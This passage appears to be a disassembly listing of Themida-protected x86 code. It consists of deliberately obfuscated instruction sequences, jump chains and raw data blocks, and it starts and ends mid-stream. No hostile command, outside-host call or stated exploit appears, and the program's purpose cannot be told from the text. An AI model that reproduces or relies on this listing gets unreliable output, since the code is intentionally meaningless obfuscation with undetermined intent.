dd 0EFE95AFFh, 0BBFFFF56h, 77E44AAh, 81FFEB83h, 0C950C0E3h dd 0FEB95173h, 0E950923Ah, 5A5Fh, 0C15FFB01h, 3AE908EBh db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50AE7F: ; CODE XREF: Themida_:0050A916j push dword ptr [esp] pop eax add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], edx push esp pop edx jmp loc_50E94B ; --------------------------------------------------------------------------- loc_50AEBB: ; CODE XREF: Themida_:005022FAj push edx mov edx, 4 mov ecx, edx jmp loc_50B900 ; --------------------------------------------------------------------------- dd 0EC815159h, 4, 0FF99D6E9h, 243433FFh, 4C4815Ch, 0E9000000h dd 0FFFF4932h, 81D830ACh, 4ECh, 241C8900h, 3DEA68h, 240C8900h dd 0E980D3B1h, 9490E9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50AF02: ; CODE XREF: Themida_:00500A87j mov eax, 1531F72h add eax, 4FE82165h neg eax dec eax dec eax inc eax add eax, 513B40DCh push ebp mov ebp, 577059C7h jmp loc_5145C5 ; --------------------------------------------------------------------------- loc_50AF21: ; CODE XREF: Themida_:00500A10j add ecx, 4 jmp loc_50DAA3 ; --------------------------------------------------------------------------- aRsA db 'Rʝ',0 align 2 loc_50AF32: ; CODE XREF: Themida_:00506B3Ej push edi push 643656C1h pop edi jmp loc_50F4E3 ; --------------------------------------------------------------------------- loc_50AF3E: ; CODE XREF: Themida_:005118BEj add edx, 0CC05BA3h add edx, esi sub edx, 0CC05BA3h mov esi, [esp] add esp, 4 push ecx push ebp mov ebp, 0A710560h mov ecx, 0F58EFAA4h add ecx, ebp pop ebp add edx, ecx pop ecx push edx jmp loc_50D453 ; --------------------------------------------------------------------------- dw 0EB81h dd 2F146425h, 2FAEB81h, 0C381520Eh, 6A98509Fh, 0FFB775E9h dd 4EC81FFh, 89000000h, 0C6E9242Ch db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50AF8F: ; CODE XREF: Themida_:005029C4j xor ebx, 652062BCh sub ebx, 0A9EC819h push edi mov edi, ebx jmp loc_51096E ; --------------------------------------------------------------------------- loc_50AFA3: ; CODE XREF: Themida_:0050144Fj xor edx, 205F5FC4h add esi, edx push dword ptr [esp] pop edx push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_50C498 ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 42Dh, 4FF1E900h, 815F0000h, 4C4h, 0FF595600h, 815E2434h dd 4C4h, 1C4F2100h, 1BE7E9h, 7FC68100h, 899DAF9Ch, 57515EF2h dd 23A57BFh, 0DEF78166h, 89038644h, 0E9C15FF9h, 62C18103h dd 0E939268Bh, 5F5Fh ; --------------------------------------------------------------------------- loc_50B014: ; CODE XREF: Themida_:005021C9j push edx mov edx, 504E582Ch sub edx, 1331716h xor ebx, edx pop edx push ecx mov ecx, 1EE66C10h and ecx, 3083627Bh jmp loc_50D58E ; --------------------------------------------------------------------------- loc_50B034: ; CODE XREF: Themida_:00501CC7j push edi jmp loc_5036EF ; --------------------------------------------------------------------------- loc_50B03A: ; CODE XREF: Themida_:00507A9Dj add esp, 4 mov edx, edi pop edi loc_50B040: ; CODE XREF: Themida_:loc_505E23j ; Themida_:005106C2j push 25E1h mov [esp], ebx jmp loc_500DFA ; --------------------------------------------------------------------------- loc_50B04D: ; CODE XREF: Themida_:00514D8Cj shr eax, 0Bh xor ecx, eax jmp loc_505FFD ; --------------------------------------------------------------------------- loc_50B057: ; CODE XREF: Themida_:0050984Fj or esi, 7DD31AEDh not esi inc esi dec esi jmp loc_50C9DA ; --------------------------------------------------------------------------- dw 0FE29h a_xhkj db '_XhJ',0 dw 8900h dd 0BB532404h, 37687C15h, 8143D3F7h, 9783E9EBh, 0B979E9C8h dd 0E281FFFFh, 0C821F41h, 6FDEA81h, 0D0010482h, 4C0835Ah dd 8B240487h, 0FF552424h, 5D042474h, 5C24048Fh, 4BB0F66h dd 63E99C24h, 89FFFF47h, 5E542434h, 706FE9h, 4C48300h dd 360668h, 7F2EE900h, 14890000h, 6EE66824h, 24890000h dd 24048324h, 24148B04h, 81E18951h, 4C1h, 4C18300h, 3E5E9h db 0 ; --------------------------------------------------------------------------- loc_50B0ED: ; CODE XREF: Themida_:0051064Dj add ecx, edx mov edx, [esp] jmp loc_503E45 ; --------------------------------------------------------------------------- db 0BFh dd 4C1C539Fh, 7664F781h, 89E91E37h, 68000022h, 20067990h dd 45E98759h, 57E9E987h, 81FFFFAFh, 4C7h, 4EF8100h, 87000000h dd 895C243Ch, 29BB241Ch, 527FC957h, 1FE9DA89h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50B137: ; CODE XREF: Themida_:00511458j jz loc_510D37 push eax mov eax, 27090002h mov dword ptr [edi+20h], 27090002h xor [edi+20h], eax push dword ptr [esp] pop eax push ebx mov ebx, esp push edx push ecx jmp loc_507709 ; --------------------------------------------------------------------------- db 87h dd 0E95C240Ch, 0FFFF9B9Fh ; --------------------------------------------------------------------------- loc_50B164: ; CODE XREF: Themida_:005104F3j mov ecx, 75270CAh sub [esp+8], ecx mov ecx, [esp] add esp, 4 add [esp+4], eax add dword ptr [esp+4], 75270CAh pop eax pop dword ptr [edi+24h] jmp loc_514A89 ; --------------------------------------------------------------------------- loc_50B18B: ; CODE XREF: Themida_:00505EC1j push 35D3h mov [esp], eax push 6BBAh mov [esp], esp add dword ptr [esp], 4 jmp loc_508ADB ; --------------------------------------------------------------------------- loc_50B1A7: ; CODE XREF: Themida_:00509635j mov edx, 715B31D9h sub edx, 0FFFFFFFFh xor edx, 4BC00854h push ecx mov ecx, 2AD71506h xor ecx, 0E304B5E0h xor edx, ecx pop ecx xor edi, edx pop edx add ebx, 1A5F14E3h jmp loc_505815 ; --------------------------------------------------------------------------- dw 875Fh dd 248B2414h, 705FE924h, 0EDC10000h, 1DCBE903h, 1C8B0000h dd 4C48324h, 51BEC581h, 0F501284Dh, 51BEED81h, 0C581284Dh dd 65707730h, 0FF693CE9h, 87C680FFh, 441EE80h, 0AF95E9BFh dd 481FFFFh, 0A76C2824h, 243C2977h, 28242C81h, 5F77A76Ch dd 0FF8A82E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B229: ; CODE XREF: Themida_:0050F5A9j xor [esp], eax xor eax, [esp] mov esp, [esp] sub [esp+4], edi push dword ptr [esp] pop edi jmp loc_50210F ; --------------------------------------------------------------------------- aNh db 'h/',0 dd 47D4E900h, 0E95EFFFFh, 0FFFFDC65h, 8B24048Fh, 4082424h dd 0B7E99C24h, 81FFFF45h, 840DD7EBh, 0E9FB013Dh, 0FFFF678Eh dd 239CEA81h, 0F2012CF7h, 239CC281h, 525E2CF7h, 42474FFh dd 0FF2434FFh, 815A2434h, 4C4h, 4C48100h, 8F000000h, 248B2404h dd 2424D324h, 4574E99Ch, 0C681FFFFh, 4, 5C243487h, 0FF8CCBE9h db 0FFh ; --------------------------------------------------------------------------- loc_50B2B1: ; CODE XREF: Themida_:005024D5j add ebp, 1 jmp loc_503EB1 ; --------------------------------------------------------------------------- loc_50B2BC: ; CODE XREF: Themida_:0050640Fj sub edi, ecx add edi, 11175D5Ah jmp loc_513F7E ; --------------------------------------------------------------------------- loc_50B2C9: ; CODE XREF: Themida_:004FFE73j jmp loc_510D37 ; --------------------------------------------------------------------------- dw 0F129h dd 0FFC4FFE9h, 54525AFFh, 0FFC8EEE9h, 3C8B5BFFh, 4EC8124h dd 89000000h, 0E2892414h, 4C281h, 0C2830000h, 24143304h dd 33241431h, 685C2414h, 6358h, 0FF243489h, 0FF042474h dd 0E95E2434h, 0FFFFC8ACh ; --------------------------------------------------------------------------- loc_50B314: ; CODE XREF: Themida_:005067B3j or eax, edx pop edx xor eax, 7FBBF577h mov esi, eax pop eax jmp loc_5107C5 ; --------------------------------------------------------------------------- loc_50B324: ; CODE XREF: Themida_:00503791j pop esi jmp loc_50CD59 ; --------------------------------------------------------------------------- dw 0C483h dd 0B8505504h, 293E4A54h, 4D58C589h, 0B5B1C581h, 0EB01D6C1h dd 502EE9h db 0 ; --------------------------------------------------------------------------- loc_50B345: ; CODE XREF: Themida_:00506331j pop ecx push 6249h mov [esp], ebp push ecx jmp loc_504773 ; --------------------------------------------------------------------------- dd 143B68h, 24248900h, 4240483h, 592434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_50585B ; --------------------------------------------------------------------------- loc_50B372: ; CODE XREF: Themida_:00500533j sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop ebx push edx mov edx, 4 add ebx, edx pop edx push eax mov eax, 375E5526h jmp loc_5076AA ; --------------------------------------------------------------------------- dd 24048F54h, 4EC81h, 34890000h, 4BE24h, 6C810000h, 14C0424h dd 7401443Ch, 44810424h, 14C0424h, 34FF443Ch, 0CAE95E24h dd 1FFFFB0h, 9390E9C7h, 0C5680000h, 8900005Ch, 8B54242Ch dd 0C481242Ch, 4, 4C581h, 0ED810000h, 4, 0E9242C87h, 0FFFF48BAh ; --------------------------------------------------------------------------- loc_50B3F4: ; CODE XREF: Themida_:0050755Ej pop ecx sub bl, 7Fh pop ecx movzx eax, al push small 6F97h mov [esp], ax jmp loc_4FF816 ; --------------------------------------------------------------------------- db 89h, 0E3h, 0E9h dd 0F61h, 46BDBE56h, 0C681465Bh, 0DB18E4A9h, 0BA5EF089h dd 490776F3h, 0ABE9C231h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B42B: ; CODE XREF: Themida_:0050E11Fj push ebx mov ebx, 1B2002h sub ebx, 696743D9h xchg ebp, ebx not ebp xchg ebp, ebx add ebx, 0F48707ABh or ebp, ebx pop ebx jmp loc_50DD45 ; --------------------------------------------------------------------------- loc_50B44B: ; CODE XREF: Themida_:0050D96Aj mov bh, 98h sub bh, ch pop ecx add cl, bh pop bx add cl, 0CAh push cx mov cl, 2Dh add dl, 0A4h sub dl, cl jmp loc_50F366 ; --------------------------------------------------------------------------- loc_50B465: ; CODE XREF: Themida_:0050838Cj mov [esp], edi xchg ecx, [esp] jmp loc_5117E1 ; --------------------------------------------------------------------------- dd 499EC381h, 0CFE945C1h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50B47B: ; CODE XREF: Themida_:0051334Ej sub esp, 4 jmp loc_503553 ; --------------------------------------------------------------------------- loc_50B486: ; CODE XREF: Themida_:00507083j pop esi jmp loc_5117C4 ; --------------------------------------------------------------------------- dd 24048F5Bh, 5724248Bh, 0F0052DBFh, 2FF78139h, 139F005h dd 34335FFEh, 24343124h, 0E9243433h, 0FFFF53BDh, 0F0285966h dd 0E9520104h, 0FFFF6AB7h, 241C895Ch, 4BBh, 44EF8100h dd 171342Ah, 5275E9DFh, 0C87FFFFh, 0BB535C24h, 4, 535BDA01h dd 4BBh, 101E900h, 0EC830000h, 293DE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50B4F2: ; CODE XREF: Themida_:00504F53j push dword ptr [esp+4] jmp loc_509767 ; --------------------------------------------------------------------------- db 1 dd 0B85059CFh, 169F2D47h, 0A202E405h, 0DD8FE91Bh, 70BAFFFFh dd 0E9380F61h, 0FFFF775Bh ; --------------------------------------------------------------------------- loc_50B518: ; CODE XREF: Themida_:005119ACj neg edi jmp loc_50F5F8 ; --------------------------------------------------------------------------- db 89h dd 0BE68242Ch, 5D09544Eh, 1344C581h, 0B4E94945h, 0FE000084h dd 2E7C0C7h, 2F8E9h, 80D5F600h, 1FE90EE5h, 29FFFFC5h, 5BDF89FBh dd 0F781D7F7h, 1E533CF7h, 0FF9CB8E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B559: ; CODE XREF: Themida_:00504834j sub al, dh jmp loc_4FFEDB ; --------------------------------------------------------------------------- dd 8BDE8966h, 0C481241Ch, 4, 0FFBB35E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B571: ; CODE XREF: Themida_:00501A84j xor eax, ecx push 30F3h mov [esp], eax xchg edx, [esp] push edx push 795Fh jmp loc_500CEC ; --------------------------------------------------------------------------- loc_50B589: ; CODE XREF: Themida_:00507247j sub esp, 4 mov [esp], eax jmp loc_50620C ; --------------------------------------------------------------------------- dd 0F402DE68h, 0C5815D49h, 60D109ABh, 15D5F55h, 0C2815FFAh dd 77963373h, 1D32F281h, 0F281567Ch, 0C8B6B25Ah, 0FF6E21E9h dd 5BDE01FFh, 3856E9h, 0D831AD00h, 4EC81h, 1C890000h, 2E026824h dd 0C890000h, 0E548E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B5DE: ; CODE XREF: Themida_:00507EBCj mov eax, 505B1341h shr eax, 2 jmp loc_5121EE ; --------------------------------------------------------------------------- db 1 dd 7694E9DAh, 248BFFFFh, 243C8924h, 0FFF495E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B5FD: ; CODE XREF: Themida_:0050A7C7j or ebx, 79A34EB5h jmp loc_50BAA7 ; --------------------------------------------------------------------------- loc_50B608: ; CODE XREF: Themida_:00507BBBj push ecx jmp loc_50F6E5 ; --------------------------------------------------------------------------- dw 0C483h dd 0E9C33104h, 0FFFFC3E5h ; --------------------------------------------------------------------------- loc_50B618: ; CODE XREF: Themida_:0051177Cj pop edx add edx, 4 push edi mov edi, 4 sub edx, edi pop edi xchg edx, [esp] jmp loc_50A7FC ; --------------------------------------------------------------------------- dd 0FF2434FFh, 56582434h, 0C681E689h, 4, 8704C683h, 685C2434h dd 183Dh, 8026E9h, 4B1AB800h, 98E96507h, 0FFFFFFC2h, 5D042474h dd 5C24048Fh, 72E368h, 240C8900h, 0C1815954h, 4, 4BB53h dd 0D9290000h, 0FFC9ADE9h, 0F7D187FFh, 68D187D2h, 4756h dd 0BE243489h, 734E07DDh, 0FFDB67E9h db 0FFh ; --------------------------------------------------------------------------- loc_50B699: ; CODE XREF: Themida_:00508D10j mov cl, 8Dh sub cl, 1Bh sub cl, bh add cl, 1Bh pop ebx push edx mov dh, cl not dh sub esp, 4 jmp loc_50621C ; --------------------------------------------------------------------------- loc_50B6B1: ; CODE XREF: Themida_:005049D7j sub esi, edi add esi, 426F049Fh jmp loc_5026E9 ; --------------------------------------------------------------------------- dw 0D828h dd 51668C04h, 0E9524FB1h, 1B5Ah, 895D2FB9h, 0BFF18133h dd 0E9266B05h, 11EFh, 2474FF52h, 48F5A04h, 58665C24h, 2889C380h dd 89EB80C3h, 0F3DEB80h, 48FC0B6h, 4118E987h, 1C8BFFFFh dd 3727E924h, 3C870000h, 0D77CE924h, 0E689FFFFh, 4C681h dd 0E9500000h, 7C10h, 243C8B54h, 8104C483h, 4C7h, 10685000h dd 8900002Dh, 0B9512434h, 7D6C0679h, 992FE951h, 285AFFFFh db 0F0h, 2Ch, 79h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50AD7E ; --------------------------------------------------------------------------- loc_50B74B: ; CODE XREF: Themida_:005034D3j inc ebx xor ebx, 0AA043B5h add ebx, 90584C23h sub ebp, ebx jmp loc_507E44 ; --------------------------------------------------------------------------- loc_50B75F: ; CODE XREF: Themida_:0050DFB8j xchg ebp, ebx push 7A78h mov [esp], ebp mov ebp, 3CF44DE0h jmp loc_5017A7 ; --------------------------------------------------------------------------- db 8Fh dd 38E92404h, 81FFFFDEh, 277CA3EBh, 240C8B5Bh, 4C481h dd 37E90000h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B78F: ; CODE XREF: Themida_:0050DE86j pop ebx push edx push ax mov ah, 4Bh mov dl, ah mov ax, [esp] jmp loc_506635 ; --------------------------------------------------------------------------- dd 33241C31h, 545C241Ch, 8124048Fh, 42404h, 3C8B0000h dd 46BEE924h, 0D5F6FFFFh, 114CE9h, 0CEE95100h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B7C7: ; CODE XREF: Themida_:0050193Fj push edx push 38CE0B35h pop edx sub edx, 0EAD71D5h xor edx, 6AF5E1B4h mov ebp, edx pop edx jmp loc_507EBB ; --------------------------------------------------------------------------- dw 525Fh dd 4BAh, 5AD52900h, 8B242C87h, 1C892424h, 68D38824h, 0C58h dd 88240489h, 78D8E9D8h, 6656FFFFh, 6623FEBEh, 63E9D6F7h dd 17h, 39E953D8h, 81000012h, 4C1h, 4C18100h, 87000000h dd 685C240Ch, 41BBh, 0FF70BDE9h, 7CEF80FFh, 0FDF780h, 84E95BF8h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B843: ; CODE XREF: Themida_:0050E9E2j add eax, ebx pop ebx add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] pop esp or ecx, ecx jz loc_50D933 push edx mov edx, esp add edx, 4 push edi mov edi, 4 sub edx, edi pop edi xchg edx, [esp] jmp loc_51430E ; --------------------------------------------------------------------------- loc_50B875: ; CODE XREF: Themida_:0050A994j pop esi sub edi, 2C153014h sub edi, 0BB467C1h add edi, ebx add edi, 0BB467C1h push 0CD7h mov [esp], ebx jmp loc_50239E ; --------------------------------------------------------------------------- db 5Ah dd 16B5C1BBh, 59CB2959h, 6B4D68h, 24148900h, 0DC3947BAh dd 24542912h, 5C295A08h, 44810424h, 39470424h, 8B5B12DCh dd 0C4812414h, 4, 4EC8350h, 0BF243C89h, 21296589h, 13B268h dd 24148900h, 0EAE9FA89h, 5BFFFF8Ch, 7A98055Fh, 42052230h dd 166B107h, 7422DD8h, 0C46866B1h, 0E9000078h, 0FFFFC9E6h ; --------------------------------------------------------------------------- loc_50B900: ; CODE XREF: Themida_:0050AEC3j mov edx, [esp] add esp, 4 add edi, ecx mov ecx, [esp] add esp, 4 xchg edi, [esp] pop esp push 2CF0h mov [esp], esi jmp loc_50F8C7 ; --------------------------------------------------------------------------- loc_50B91F: ; CODE XREF: Themida_:00511510j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_5114FC ; --------------------------------------------------------------------------- aAiSib db 'b',0 align 4 dd 592434FFh, 3304C483h, 1C31241Ch, 241C3324h, 6624248Bh dd 9C240421h, 0FF3EC1E9h, 6B968FFh, 34890000h, 0ABF5724h dd 815EE364h, 500566C7h, 0ECEF8102h, 0C11BB62Bh, 0EF8103E7h dd 0BCC0A7C9h, 3C8BFE89h, 4C48324h, 0BBADC681h, 5A5690D6h dd 0FFB397E9h, 88F488FFh, 5876E9E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50B996: ; CODE XREF: Themida_:0050643Aj pop ebx add ebx, 598D1229h add ebx, ecx jmp loc_5099DB ; --------------------------------------------------------------------------- dd 8324148Bh, 0C3304C4h, 240C3124h, 5C240C33h, 53240C89h dd 0F467D168h, 324E924h, 0E9530000h, 0FFFFD553h, 88241489h dd 0E9F588DEh, 5046h ; --------------------------------------------------------------------------- loc_50B9D4: ; CODE XREF: Themida_:0050F4E9j add edi, 0C257969Bh mov ebx, edi mov edi, [esp] jmp loc_500F64 ; --------------------------------------------------------------------------- loc_50B9E4: ; CODE XREF: Themida_:005074B2j mov [esp], ecx push eax mov eax, 7355ADAh mov ecx, 7355AD8h xor ecx, eax pop eax jmp loc_501454 ; --------------------------------------------------------------------------- dw 0D801h dd 4EC81h, 0FCE90000h, 66FFFF44h, 0E924048Bh, 55A1h ; --------------------------------------------------------------------------- loc_50BA10: ; CODE XREF: Themida_:0050833Cj sub ebp, 0FB70CC9h push edx mov edx, 2C1E1625h jmp loc_503D7B ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 4C18100h, 87000000h, 248B240Ch, 0C8A1E924h, 0EE81FFFFh dd 73806308h, 9FE9C601h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BA47: ; CODE XREF: Themida_:005016D3j xchg ebp, [esp] jmp loc_50BD4F ; --------------------------------------------------------------------------- db 59h dd 0FF9F87E9h db 0FFh ; --------------------------------------------------------------------------- loc_50BA55: ; CODE XREF: Themida_:0050BF0Fj push ebp mov ebp, 4 add eax, ebp jmp loc_50CC69 ; --------------------------------------------------------------------------- loc_50BA62: ; CODE XREF: Themida_:005096F9j push 347F46C5h pop edx push ebx mov ebx, 4A673EC7h or edx, ebx pop ebx sub edx, 2F9C7066h mov ebp, edx jmp loc_5017B1 ; --------------------------------------------------------------------------- dw 875Dh dd 0FBE9241Ch db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BA87: ; CODE XREF: Themida_:005102D1j sub eax, ebp mov ebp, [esp] add esp, 4 jmp loc_50960B ; --------------------------------------------------------------------------- loc_50BA94: ; CODE XREF: Themida_:00512349j mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_502791 ; --------------------------------------------------------------------------- loc_50BAA7: ; CODE XREF: Themida_:0050B603j neg ebx jmp loc_50F4C1 ; --------------------------------------------------------------------------- dw 0B850h dd 5DD7475Eh, 0E958C301h, 0FFFF96D9h, 76DCC581h, 3AE940F6h dd 8BFFFF42h, 0BCE9242Ch db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_50BACF: ; CODE XREF: Themida_:00509FCAj push eax mov eax, 4 mov ebp, eax pop eax jmp loc_504449 ; --------------------------------------------------------------------------- loc_50BADD: ; CODE XREF: Themida_:00508EF7j pop esp jmp loc_50FE8F ; --------------------------------------------------------------------------- loc_50BAE3: ; CODE XREF: Themida_:0050E0AAj mov edi, esi mov eax, edi mov edi, [esp] jmp loc_509CDB ; --------------------------------------------------------------------------- db 89h dd 24E9242Ch, 80FFFFD3h, 5FE9CCEEh db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BAFF: ; CODE XREF: Themida_:005020A4j not dword ptr [esp] pop esi shl esi, 2 push ebx jmp loc_504902 ; --------------------------------------------------------------------------- dd 815AD589h, 7D5031F5h, 4C70E94Ch, 348BFFFFh, 4C48124h dd 5F000000h, 2474FF53h, 7B38E904h, 89520000h, 4C281E2h dd 53000000h, 4BBh, 0E9DA2900h, 5215h ; --------------------------------------------------------------------------- loc_50BB44: ; CODE XREF: Themida_:0050F1A8j xor esi, eax mov eax, [esp] add esp, 4 dec esi shl esi, 3 jmp loc_50C2B1 ; --------------------------------------------------------------------------- aWsd db '\Wd"',0 db 0 ; --------------------------------------------------------------------------- loc_50BB5F: ; CODE XREF: Themida_:00507663j sub esp, 4 jmp loc_505C35 ; --------------------------------------------------------------------------- loc_50BB67: ; CODE XREF: Themida_:0050856Cj push dword ptr [esp] pop edx add esp, 4 jmp loc_4FF816 ; --------------------------------------------------------------------------- loc_50BB73: ; CODE XREF: Themida_:00503D76j add ecx, 4 add ecx, 4 push 7CD0h mov [esp], ecx jmp loc_50A9EA ; --------------------------------------------------------------------------- loc_50BB8C: ; CODE XREF: Themida_:00504B41j add esi, ecx jmp loc_5076CA ; --------------------------------------------------------------------------- db 52h dd 0FC3C0468h, 814A5A44h, 0B70EF8E2h, 4E2C10Ah, 0FCB2F281h dd 0D3895180h, 8324148Bh, 0D80104C4h, 0FF4752E9h db 0FFh ; --------------------------------------------------------------------------- loc_50BBB9: ; CODE XREF: Themida_:0050671Ej mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_5129F7 ; --------------------------------------------------------------------------- loc_50BBCC: ; CODE XREF: Themida_:0050E1F6j push 0C9241C5h push dword ptr [esp] pop esi jmp loc_51233B ; --------------------------------------------------------------------------- dw 0EA83h dd 24148704h, 240C895Ch, 42474FFh, 0FF2434FFh, 83592434h dd 0C48104C4h, 4, 8B24048Fh, 4302424h, 0E7E99C24h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BC07: ; CODE XREF: Themida_:00500B2Dj xor ebp, edi jmp loc_50BFDD ; --------------------------------------------------------------------------- aBIMbsktzsso db 'I#',1Bh,'mtS',0Bh,0 dw 8300h dd 87E902C4h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BC27: ; CODE XREF: Themida_:0050CCE3j sub [esp], edi pop edi push edx mov edx, 318C7AC2h xor edi, edx pop edx sub edi, 0BFDB3B6h jmp loc_50C773 ; --------------------------------------------------------------------------- db 83h dd 686602C4h, 8966590Fh, 0EC81240Ch, 2, 0FF41FFE9h, 240487FFh dd 0FF6997E9h db 0FFh ; --------------------------------------------------------------------------- loc_50BC5D: ; CODE XREF: Themida_:0050EF7Fj add ebp, ebx push ecx mov ecx, 72114CB7h and ecx, 7B6C5509h neg ecx xor ecx, 0CBE7EB02h add ebp, ecx pop ecx pop ebx add ebp, 4 xchg ebp, [esp] jmp loc_5128B0 ; --------------------------------------------------------------------------- loc_50BC85: ; CODE XREF: Themida_:005010D4j xor edi, 401E09A5h mov esi, edi push dword ptr [esp] pop edi jmp loc_50284D ; --------------------------------------------------------------------------- dw 1C33h dd 0D3665C24h, 0E99C243Ch, 0FFFF3B72h ; --------------------------------------------------------------------------- loc_50BCA4: ; CODE XREF: Themida_:0050BD38j shr edi, 8 sub edi, 0A62E70FCh mov esi, edi mov edi, [esp] add esp, 4 push 4CE5h mov [esp], edi mov edi, 523114C3h sub edi, 0D96ADC45h jmp loc_502A5D ; --------------------------------------------------------------------------- loc_50BCCD: ; CODE XREF: Themida_:00512B44j add edx, edi pop edi xchg edx, [esp] pop esp push 6FB0h mov [esp], ecx mov ecx, 72B509F1h jmp loc_504B1C ; --------------------------------------------------------------------------- dw 815Bh dd 0B9C2BC3h, 5BD989DBh, 4C95BE56h, 0E6C10190h, 6A48E908h dd 0E95A0000h, 0FFFF473Dh, 875BDD01h, 0AEE9242Ch, 53FFFFD0h dd 304C0BBh, 5BDA2926h, 5553C229h, 186E8E68h, 0CD815D7Fh dd 66261729h, 3C44E9h, 80BDB300h, 65E95ECBh db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50BD37: ; CODE XREF: Themida_:005026DBj dec edi jmp loc_50BCA4 ; --------------------------------------------------------------------------- aROSvFzSdh db '(^V+F(H',0 db 0 ; --------------------------------------------------------------------------- loc_50BD4F: ; CODE XREF: Themida_:0050BA4Aj pop esp push esi push ecx jmp loc_502A20 ; --------------------------------------------------------------------------- db 31h dd 74E959CEh, 8BFFFF93h, 0A1E92424h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50BD67: ; CODE XREF: Themida_:0050DF06j sub eax, 6AE462E7h sub edi, 9726D0Dh sub edi, eax add edi, 9726D0Dh mov eax, [esp] jmp loc_5039EC ; --------------------------------------------------------------------------- dw 0C483h dd 0C5B85004h, 56382E64h, 7E1D96BEh, 5FEE8143h, 466BEF04h dd 6F15F681h, 0F029C1BAh, 4E8C15Eh, 0DE0DD8F7h, 0E9275907h dd 1F86h, 72E4BA52h, 0D089198Ah, 6DF3E9h db 0 ; --------------------------------------------------------------------------- loc_50BDBD: ; CODE XREF: Themida_:00503E40j pop eax jmp loc_50F27A ; --------------------------------------------------------------------------- loc_50BDC3: ; CODE XREF: Themida_:0050A264j xchg edi, [esp] jmp loc_506ED1 ; --------------------------------------------------------------------------- loc_50BDCB: ; CODE XREF: Themida_:005099D6j add [ebx], ebp pop ebx mov eax, [esp] jmp loc_5028D2 ; --------------------------------------------------------------------------- dw 0B850h dd 14A42773h, 0F45BF57h, 80E91B7Fh, 25FFFFA4h, 1D196F31h dd 0E9BBD55h, 0E5C17C27h, 53DDF707h, 0DE8488BBh, 8BDD01F6h dd 8957241Ch, 4C781E7h, 83000000h, 3C8704C7h, 9C25E924h dd 0C15CFFFFh, 0E3C107E3h, 9CEB8106h, 0E94DE92Dh, 0FFFF9971h ; --------------------------------------------------------------------------- loc_50BE28: ; CODE XREF: Themida_:00509ED9j add eax, 4 xchg eax, [esp] pop esp xor eax, edi jmp loc_50F750 ; --------------------------------------------------------------------------- dw 34B8h dd 0E97F9723h, 0FFFF9568h, 3FC68h, 0B8505B00h, 8304B0Ah dd 0FFF576E9h db 0FFh ; --------------------------------------------------------------------------- loc_50BE51: ; CODE XREF: Themida_:0050E6D3j add ebx, eax push ecx mov ecx, 6F787EA1h sub ebx, ecx pop ecx jmp loc_503F4F ; --------------------------------------------------------------------------- db 81h, 0CFh, 66h dd 8101C57Eh, 875F0FE7h, 5FE95037h, 0FFFFFFA5h, 835B2434h dd 936804C4h, 89000015h, 0F9BF243Ch, 5604C434h, 2999BF57h dd 0CF811F06h, 43E17331h, 0F781DFF7h, 0C1FCEB53h, 35E9FE89h dd 68000028h, 2D84h, 0E9242C89h, 0FFFF4B14h, 0E4F6815Bh dd 813B1755h, 0F825B5EEh, 5EF201F5h, 7B10685Bh, 4890000h dd 4B824h, 0C2010000h, 24148758h, 0FF24248Bh, 0E99C2404h dd 0FFFF3936h, 78E9C731h, 81FFFF61h, 0FFCF23C7h, 0E9FB01FFh dd 0FFFFDC82h ; --------------------------------------------------------------------------- loc_50BEF4: ; CODE XREF: Themida_:005067DDj and eax, edx push dword ptr [esp] pop edx push ebx push esp jmp loc_500696 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FF77A3E9h db 0FFh ; --------------------------------------------------------------------------- loc_50BF09: ; CODE XREF: Themida_:00501ED0j add esp, 4 jmp loc_50BA55 ; --------------------------------------------------------------------------- dd 3B81BD55h, 0A1E92C0Bh, 89FFFFD9h, 2AB9240Ch, 49026B3Ah dd 4EC8356h, 7ED3E9h, 4EB8300h, 5C241C87h, 0FF3B94E9h db 0FFh ; --------------------------------------------------------------------------- loc_50BF3D: ; CODE XREF: Themida_:005032FBj pop edx push ebp jmp loc_5026CD ; --------------------------------------------------------------------------- dd 0D828AC04h, 2A2CAC2Ch, 8904EC83h, 2682414h, 89000069h dd 